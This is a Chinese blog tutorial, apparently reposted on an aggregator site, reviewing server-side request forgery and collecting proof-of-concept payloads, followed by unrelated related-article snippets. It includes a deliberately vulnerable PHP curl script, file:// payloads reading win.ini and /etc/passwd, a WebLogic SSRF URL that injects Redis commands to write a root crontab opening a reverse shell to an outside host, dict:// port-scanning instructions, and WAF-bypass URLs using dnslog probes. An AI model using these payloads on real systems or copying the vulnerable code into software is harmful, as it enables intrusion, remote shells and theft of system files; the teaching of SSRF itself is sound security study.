2024-HW --->SSRF

这不是马上准备就要护网了嘛,如火如荼的报名ing!!!那么小编就来查缺补漏一下以前的web漏洞,也顺便去收录一波poc!!!!

今天讲的主人公呢就是SSRF,以前学的时候,感觉有点没有学懂,趁现在二刷一遍

1.SSRF的原理

SSRF (Server-Side Request Forgery) 服务器端请求伪造,一种由攻击者构造请求,由服务端发起请求的安全漏洞!!
能产生SSRF,主要还得是归功于这三个函数,而且还不对URL进行过滤
  1. curl_exec()    执行curl会话
  2. fsockopen()        打开一个网络连接或者一个Unix的套接字
  3. file_get_contents()   将文件读入一个字符串

说起来可能会有一点干,没事,我们上一段代码来演示一下

<?php
function curl($url){  $ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  // 抓取URL并把它传递给浏览器  curl_exec($ch);//关闭cURL资源,并且释放系统资源  curl_close($ch);
}$url = $_GET['url'];
curl($url);  
?>
我们部署一下这个网页,然后演示一下
然后我们在URL的后面加上参数,模拟一下正常的网页跳转
正常是这样,肯定没有问题,但是黑客它能正常嘛???
http://127.0.0.1/ssrf.php?url=file:///C:/Windows/win.ini
这样,就读取到了本地服务器的win.ini文件
对于SSRF,其常用的协议
其中file,和dict用的最多,一个用于读取文件,一个用于探测端口存活

2.SSRF的危害

ssrf吧,也算是个中危,有的时候,它还可以直接getshell!!!!!

对于最后一个,Redis还没学,不过也是老出名了!!

3.SSRF常见的出现场景

  1. 分享网页的功能
  2. 转码服务
  3. 网站翻译
  4. 图片远程加载

4.SSRF常见的利用以及poc

1.Weblogic反弹shell

这里,我就直接用的Vulhub上面的weblogic的SSRF来演示了(搭环境我就不说了,参考我以前的文章)

直接访问这个路径

http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp

然后就能看见这样的一个页面

先公布它漏洞的poc

http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

抓个包,可以看见,问题就出现在它的operator这里,直接应用外部的URL

所以就导致了SSRF

可以看见不同的端口返回的值是不一样的

POC如下

http://192.168.246.170:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.246.1%2F9191%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

因为我没开redis的原因,但是你只要敲上这个代码,它就是能反弹shell的!!! 

除此之外,ssrf还是可以getshell的!!!

2.探测端口存活

比如说我们发现一个ssrf的站点,我们就可以通过它去探测端口存活

url=dict://127.0.0.1:§80§   /后面的端口就直接在BP选范围为 1-65535就好

不过吐槽一下啊 ,这个确实有点慢,还不如直接上nmap。。。。。

但是,这个玩意不止能探测本地的端口,还可以远程探测

3.读取本机的敏感资产或者文件

poc

file:etc/passwd
file:///C:/Windows/win.ini

5.SSRF绕过WAF

以下直接分享一些绕WAF的POC,有的时候可以用dnslog来作探针

1.利用@的符号

http://www.baidu.com@0c63a4a6.dnslog.biz  //这里面是你的dnslog探针
dict://127.0.0.1:80@0c63a4a6.dnslog.biz.

2. 将 . 换成 。以及相应的符号

dict://127。0。0 。1:80
http://127。0。0 。1:80

3.一些协议的绕过

sftp://0c63a4a6.dnslog.biz
tftp://0c63a4a6.dnslog.biz
ldap://0c63a4a6.dnslog.biz     //自行对相应的dnslog探针进行替换

4.还有就是一些工具了

grayddq/SSRF_payload: 本脚本旨在生成各类畸形URL链接,进行探测使用的payload,尝试绕过服务端ssrf限制。 (github.com)icon-default.png?t=N7T8https://github.com/grayddq/SSRF_payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/792799.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

windows server 配置DNS

配置DNS为本机IPV4地址 安装DNS服务器&#xff08;默认即可&#xff09;

【C++ STL排序容器】set 集合

文章目录 【 1. 基本原理 】【 2. set 的定义 】2.1 调用默认构造函数&#xff0c;创建空的 set 容器2.2 在创建 set 容器的同时&#xff0c;对其进行初始化2.3 拷贝构造的方式创建2.4 取已有 set 容器中的部分元素&#xff0c;来初始化新 set 容器2.5 修改排序规则的方式创建 …

Kotlin:for循环的几种示例

一、 打印 0 到 2 1.1 方式一&#xff1a;0 until 3 /*** 打印 0 到 2*/ fun print0To2M1(){for (inex in 0 until 3){// 不包含3print("$inex ")} }运行结果 1.2 方式二&#xff1a;inex in 0 …2 /*** 打印 0 到 2*/ fun print0To2M2(){for (inex in 0 ..2){//…

HarmonyOS NEXT应用开发之ForEach:循环渲染

ForEach接口基于数组类型数据来进行循环渲染&#xff0c;需要与容器组件配合使用&#xff0c;且接口返回的组件应当是允许包含在ForEach父容器组件中的子组件。例如&#xff0c;ListItem组件要求ForEach的父容器组件必须为 List组件 。 说明&#xff1a; 从API version 9开始&a…

环形链表的约瑟夫问题

著名的 Josephus 问题&#xff1a; 据说著名犹太历史学家Josephus&#xff08;弗拉维奥约瑟夫斯&#xff09;有过以下的故事&#xff1a;在罗马人占领乔塔帕特后&#xff0c;39 个犹太人与Josephus及他的朋友躲到一个洞中&#xff0c;39个犹太人决定宁愿死也不要被敌人抓到&…

【哈希表专题】(1. 两数之和 面试题 01.02. 判定是否互为字符重排 217. 存在重复元素 219. 存在重复元素 II 49. 字母异位词分组)

文章目录 哈希表1. 两数之和面试题 01.02. 判定是否互为字符重排217. 存在重复元素219. 存在重复元素 II49. 字母异位词分组 哈希表 哈希表是什么&#xff1a;存储数据的容器 作用&#xff1a;快速查找某个元素。O(1) 当我们需要频繁的查找某一个数的时候&#xff0c;可以使…

图像拼接——最小割准则提取拼接缝

一、最大流问题与Ford-Fulkerson算法介绍 二、最大流与最小割 显然,我们有对任意一个割,穿过该割的净流量上界就是该割的容量,即不可能超过割的容量。所以网络的最大流必然无法超过网络的最小割。最小割是指割的容量最小,最大流是指网络当中最大的净流量,简单的例子s是水龙…

【蓝桥备赛】异或和——树状数组、DFS

题目链接 异或和 思路分析 树上每个点都有一个点权&#xff0c;对树上的更新操作是修改指定点的点权&#xff0c;查询操作是查询指定点为根结点的子树点权异或和。 这里的这些操作都和树状数组的单点修改和区间查询非常相似&#xff0c;即我们在修改一个点时&#xff0c;同时…

蓝桥杯真题:递增序列

import java.util.Scanner; // 1:无需package // 2: 类名必须Main, 不可修改 public class Main {public static int is1(char ch[][],int m,int n){int ans0;for (int i0;i<m;i){for (int j0;j<n;j){int add1;while(jadd<n){if(ch[i][j]<ch[i][jadd]) ans; //横…

SAP新的扩展策略

在软件即服务&#xff08;SaaS&#xff09;应用的推动下&#xff0c;SAP Cloud优先的战略非常明显&#xff0c;随之带来的是SAP Clean core的战略&#xff0c;从经典的 ABAP 可扩展性模式转变为 SAP S/4HANA 现代可扩展性模式。那么Clean core战略到底是什么&#xff1f;新的扩…

基于向量数据库搭建自己的搜索引擎

前言【基于chatbot】 厌倦了商业搜索引擎搜索引擎没完没了的广告&#xff0c;很多时候&#xff0c;只是需要精准高效地检索信息&#xff0c;而不是和商业广告“斗智斗勇”。以前主要是借助爬虫工具&#xff0c;而随着技术的进步&#xff0c;现在有了更多更方便的解决方案&…

LongAdder 和 Striped64 基础学习

cs&#xff0c;表示 Cell 数组的引用&#xff1b;b&#xff0c;表示获取的 base 值&#xff0c;类似于 AtomicLong 中全局变量的 value 值&#xff0c;在没有竞争的情况下数据直接累加到 base 上&#xff0c;或者扩容时&#xff0c;也需要将数据写入到 base 上&#xff1b;v&am…

Linux第2课Windows下的环境配置-虚拟机安装

文章目录 Linux第2课Windows下的环境配置-虚拟机安装一、VMware虚拟机的安装&#xff08;一&#xff09;安装VMware&#xff08;二&#xff09;启动电脑本地的VMware相关服务 二、VirtualBox安装 Linux第2课Windows下的环境配置-虚拟机安装 本节课程提供了两种虚拟机的安装方法…

个人医疗开支预测项目

注意&#xff1a;本文引用自专业人工智能社区Venus AI 更多AI知识请参考原站 &#xff08;[www.aideeplearning.cn]&#xff09; 项目背景 随着医疗成本的持续上涨&#xff0c;个人医疗开支成为一个重要议题。理解影响医疗费用的多种因素对于医疗保险公司、政府机构以及个人…

磁环的使用方法

磁环的使用方法 磁环的工作原理共模滤波用法差模滤波用法各种材料磁环的对应频率磁环的感量计算 磁环的工作原理 共模滤波用法 差模滤波用法 各种材料磁环的对应频率 磁环的感量计算

Redis从入门到精通(四)Redis实战(二)商户查询缓存

↑↑↑请在文章头部下载测试项目原代码↑↑↑ 文章目录 前言4.2 商户查询缓存4.2.1 缓存介绍4.2.2 查询商户信息的传统做法4.2.2.1 接口文档4.2.2.2 代码实现4.2.2.3 功能测试 4.2.3 查询商户信息添加Redis缓存4.2.3.1 逻辑分析4.2.3.2 代码实现4.2.3.3 功能测试 4.2.3 数据一致…

【MATLAB源码-第177期】基于matlab的蜘蛛蜂优化算法(SWO)无人机三维路径规划,输出做短路径图和适应度曲线

操作环境&#xff1a; MATLAB 2022a 1、算法描述 蜘蛛蜂优化算法&#xff08;Spider Wasp Optimization, SWO&#xff09;是一种启发式算法&#xff0c;它受到自然界中蜘蛛和蜂这两种生物的行为模式启发而开发。这一算法主要模拟了蜘蛛捕食与蜂群社会行为之间的相互作用&…

网络以太网之(1)基础概念

网络以太网之(1)基础概念 Author: Once Day Date: 2024年4月1日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 全系列文档可参考专栏&#xff1a;通信网络技术_Once-Day的…

C语言-----数据在内存中的存储(1)

1.整数在内存中的存储 我们之前就了解过整数的二进制写法分别有3种&#xff0c;分别为原码&#xff0c;反码&#xff0c;补码。整型在内存中存储的是补码。 原码&#xff0c;反码&#xff0c;补码都有自己的符号位和数值位&#xff0c;符号位为1时&#xff0c;则表示负数&…

【Docker笔记05】【网络模式】

一、前言 本系列是根据 B 站 尚硅谷 Docker 视频 学习记录笔记。因为没有视频课件&#xff0c;部分内容摘自 https://www.yuque.com/tmfl/cloud/dketq0。 本系列仅为自身学习笔记记录使用&#xff0c;记录存在偏差&#xff0c;推荐阅读原视频内容或本文参考笔记。 二、简单介…